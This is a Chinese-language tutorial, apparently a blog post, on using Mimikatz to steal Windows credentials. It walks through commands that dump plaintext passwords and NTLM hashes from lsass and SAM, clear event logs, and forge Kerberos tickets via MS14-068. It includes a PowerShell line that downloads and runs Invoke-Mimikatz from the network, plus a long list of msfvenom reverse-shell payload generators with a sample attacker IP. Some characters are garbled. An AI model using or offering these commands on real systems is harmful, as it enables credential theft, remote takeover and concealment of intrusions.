Mimikatz是法國人benjamin開發的一款功能強大的輕量級調試工具,本意是用來我的測試,但因爲其功能強大,可以直接讀取WindowsXP-2012等操做系統的明文密碼而聞名於***測試,能夠說是***必備工具,從早期1.0版本到如今的2.1.1 20180205版本,其功能獲得了很大的提高和擴展。Mimikatz最新版本一共三個文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分爲Win32位(多了一個mimilove.exe文件)和X64位。經過它們能夠提高進程權限、注入進程讀取進程內存,能夠直接從lsass中獲取當前登陸過系統用戶的帳號明文密碼,lsass是微軟Windows系統的安全機制它主要用於本地安全和登錄策略,一般咱們在登錄系統時輸入密碼以後,密碼便會儲存在lsass內存中,通過其wdigest和tspkg兩個模塊調用後,對其使用可逆的算法進行加密並存儲在內存之中,而mimikatz正是經過對lsass的逆算獲取到明文密碼!本文以mimikatz最新版爲例,介紹了mimikatz的參數、獲取密碼以及僞造黃金票據獲取域控密碼等用戶,利用ms14-068結合mimikatz獲取域控密碼等,最後文中還給出了相應的防範方法,對網絡***都具備必定的借鑑意義。
1.1.1下載及安裝
最新版下載地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip
下載後解壓縮便可,裏面分爲Win32和X64,Win32是針對Windows32位,而X64是正對64位操做系統,目前絕大部分操做系統爲64位(支持大內存的使用)。其相關資源:
(1)我的blog:http://blog.gentilkiwi.com/
(2)最新版本:https://github.com/gentilkiwi/mimikatz/releases
(3)github庫:https://github.com/gentilkiwi/mimikatz
1.1.2使用參數詳解
本次測試使用Win32版本,將程序解壓後,經過cmd進入當前目錄,執行mimikatz程序,如圖1所示,隨便輸入便可獲取幫助信息。
圖1顯示幫助信息
1.基本命令
(1)exit:退出mimikatz。
(2)cls:清除當前屏幕。
(3)answer:對生命、宇宙和萬物的終極問題的回答.
(4)coffee:顯示coffee圖案。
(5)sleep:默認睡眠1000ms,後跟時間參數。
(6)log:記錄mimikatz全部的輸入和輸出到當前目錄下的log.txt文件。
(7)base64:將輸入/輸出轉換成base64編碼。
(8)version:查看mimikatz的版本
(9)cd:切換或者顯示當前目錄。
(10)localtime:顯示系統當前時間和UTC時間。
(11)hostname:顯示主機的名稱。
2.使用模塊
輸入「::」顯示其支持模塊信息。
(1)standard:標準模塊,基本命令,不須要模塊信息。
(2)crypto: 加密模塊,其後跟如下參數,其使用命令爲crypto::參數名,例如crypto::providers,如圖2所示。
圖2參考加密算法提供類型及名單
providers -該命令列出全部CryptoAPI提供者。
stores - 列出系統存儲中的邏輯存儲,crypto::stores /systemstore:local_machine
certificates - 顯示或者導出證書
keys - 列出或者顯示密鑰
sc - 此命令列出系統上的智能卡/令牌讀取器或將其移出系統。當CSP可用時,它會嘗試在智能卡上列出密鑰。
hash - 顯示當前用戶的的哈希(LM、NTLM、md五、sha一、sha2)計算值
system - 描述windows系統證書 (,註冊表或者hive文件)
scauth - 從CA建立一個認證(智能卡等)
certtohw -嘗試將軟件CA導出到加密(虛擬)硬件中。
capi -修補CryptoAPI程序方便導出。
cng - 修補CNG服務方便導出
extract -從CAPI RSA/AES 提供者獲取密鑰
(3)sekurlsa 枚舉用戶憑證
sekurlsa::msv - 獲取LM & NTLM 憑證,能夠獲取明文密碼
sekurlsa::wdigest - 獲取 WDigest 憑證,能夠獲取明文密碼
sekurlsa::kerberos - 獲取Kerberos 憑證
sekurlsa::tspkg - 獲取 TsPkg 憑證
sekurlsa::livessp - 獲取LiveSSP 憑證
sekurlsa::ssp - 獲取憑證
sekurlsa::logonPasswords獲登錄用戶信息及密碼,若是是在系統權限或者psexec進入的系統權限下,直接使用該命令,而無需運行privilege::debug,不然須要運行該命令。
sekurlsa::process - 切換或者恢復到lsass初始狀態
sekurlsa::minidump - 切換或者恢復到minidump初始狀態
sekurlsa::pth - Pass-the-hash
sekurlsa::krbtgt - krbtgt!
sekurlsa::dpapisystem - 顯示DPAPI_SYSTEM密碼值
sekurlsa::tickets - 顯示Kerberos票據
sekurlsa::ekeys - 顯示Kerberos加密密鑰
sekurlsa::dpapi - 顯示內存中的MasterKeys
sekurlsa::credman - 顯示管理員憑證
(4)kerberos - Kerberos 包模塊
(5)privilege - 特權模塊
Privilege::debug - 請求調試權限
Privilege::driver - 請求裝載驅動權限
Privilege::security - 請求安全權限
Privilege::tcb - 請求tcb權限
Privilege::backup - 請求backup權限
Privilege::restore - 請求恢復權限
Privilege::sysenv - 請求系統環境權限
Privilege::id - 請求id特權,參數後跟具體的id值。例如請求特權8:privilege::id 8
Privilege::name - 請求指定名稱的權限
(6)process:進程模塊
process::list - 列出進程
process::exports - 導出進程列表
process::imports - 導入進程列表
process::start - 開始一個進程,後跟進程名稱。
process::stop - 終止一個進程,process::stop /pid:1692(結束pid爲1692的進程)
process::suspend - 掛起一個進程
process::resume - 恢復一個進程
process::run - 運行一個進程
(7)service - Service module
service::start - 開始服務
service::remove - 移除服務
service::stop - 中止服務
service::suspend - 暫停服務
service::resume - 恢復服務
service::preshutdown - 預關閉服務
service::shutdown - 關閉服務
service::list - 列出服務
service::+ -安裝mimikatz服務
service::- - 卸載mimikatz服務
(8)lsadump - LsaDump module
Lsadump::sam - 該命令轉儲安全賬戶管理器(SAM)數據庫。它包含用戶密碼的NTLM,有時包含LM哈希。
在線命令提高模式獲取:
privilege::debug
token::whoami
token::elevate
lsadump::sam
離線獲取:
經過如下方式備份SYSTEM&SAM配置:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
或者使用Volue Shadow Copy / BootCD來備份這些文件:
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
而後執行mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv便可獲取。
http://www.objectif-securite.ch/en/ophcrack.php和http://www.cmd5.com/可在線進行破解查詢。
Lsadump::secrets 從registry或者hives獲取保存的密碼憑據,能夠直接獲取明文密碼。
Lsadump::cache 獲取內存中的密碼值
Lsadump::lsa 從lsa服務器獲取密碼。lsadump::lsa /inject /name:krbtgt
Lsadump::trust - Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys rpdata
Lsadump::dcsync - Ask a DC to synchronize an object
Lsadump::dcshadow - They told me I could be anything I wanted, so I became a domain controller
Lsadump::setntlm - Ask a server to set a new password/ntlm for one user
Lsadump::changentlm - Ask a server to set a new password/ntlm for one user
Lsadump::netsync - Ask a DC to send current and previous NTLM hash of DC/SRV/WKS
(9)ts 終端服務模塊
ts::sessions 顯示當前的會話
ts::multirdp 容許多個用戶使用rdp,安裝rdp補丁。
(10)event事件模塊
event::drop 啓用事件補丁服務,再也不記錄新產生的事件。
event::clear 清除時間日誌。
(11)misc 雜項模塊,打開cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton等。
(12)token -令牌操做模塊
token::whoami - 顯示當前的身份
token::list - 列出系統全部的令牌
token::elevate - 冒充令牌
token::run - 運行
token::revert - 恢復到進程令牌
(13)vault - Windows信任/憑證模塊。Vault::list列出Windows信任/憑證。
(14)net 顯示user、group、alias 、session、wsession、tod、stats、share、serverinfo 等信息。
1.1.3mimikatz獲取密碼
1.舊版本配合psexec密碼獲取方法及命令
(1)到tools目錄。psexec \127.0.0.1 cmd
(2)執行mimikatz
(3)執行 privilege::debug
(4)執行 inject::process lsass.exe sekurlsa.dllbr/>(5)執行@getLogonPasswords
(6)widget就是密碼
(7)exit退出,不要直接關閉不然系統會崩潰。
2.bat腳本獲取法
(1)建立get.bat腳本
@echo off
mimikatz.exe <command.txt >pass.txt
exit
(2)建立command.txt文件
privilege::debug
inject::process lsass.exe sekurlsa.dll br/>@getLogonPasswords
Exitbr/>(3)執行get.bat文件便可獲取密碼,pass.txt記錄的即爲獲取的密碼,get.bat、command.txt和mimikatz.exe在同一個文件夾下。
2.mimikatz2.0以上版本獲取系統明文密碼
(1)sekurlsa獲取
privilege::debug
sekurlsa::logonpasswords
(2)Lsadump獲取密碼
Lsadump::secrets
3.利用ms14-068漏洞進行***
(1)生成tgt_zhangsan@admin.com.ccche票據
ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com
(2)導入票據
mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche
1.1.4使用ps1批量獲取windows密碼
在Windows2008及以上操做系統中執行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
注意:獲取密碼的計算機必須可以訪問raw.githubusercontent.com網絡,也能夠將該ps文件下載到其餘地址,而後替換後執行。該腳本目前在win2014中只能獲取NTLM值,沒法獲取明文密碼,如圖3所示。
圖3經過ps腳本獲取密碼值
1.1.5MSF下mimikatz獲取密碼
1.須要生成一個反彈的可執行程序或者經過漏洞直接獲取一個反彈的shell。下面是經過msfvenom生成shell:
(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
在架構中比較好用的有兩個cmd/powershell_base64和x86/shikata_ga_nai,下面生成一個實例(反彈的服務器IP爲192.168.106.133):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exephp
參考文章:
https://evi1cg.me/archives/Get_Passwords_with_Invoke-Mimikatz.html
https://www.cnblogs.com/backlion/p/8127868.htmlhtml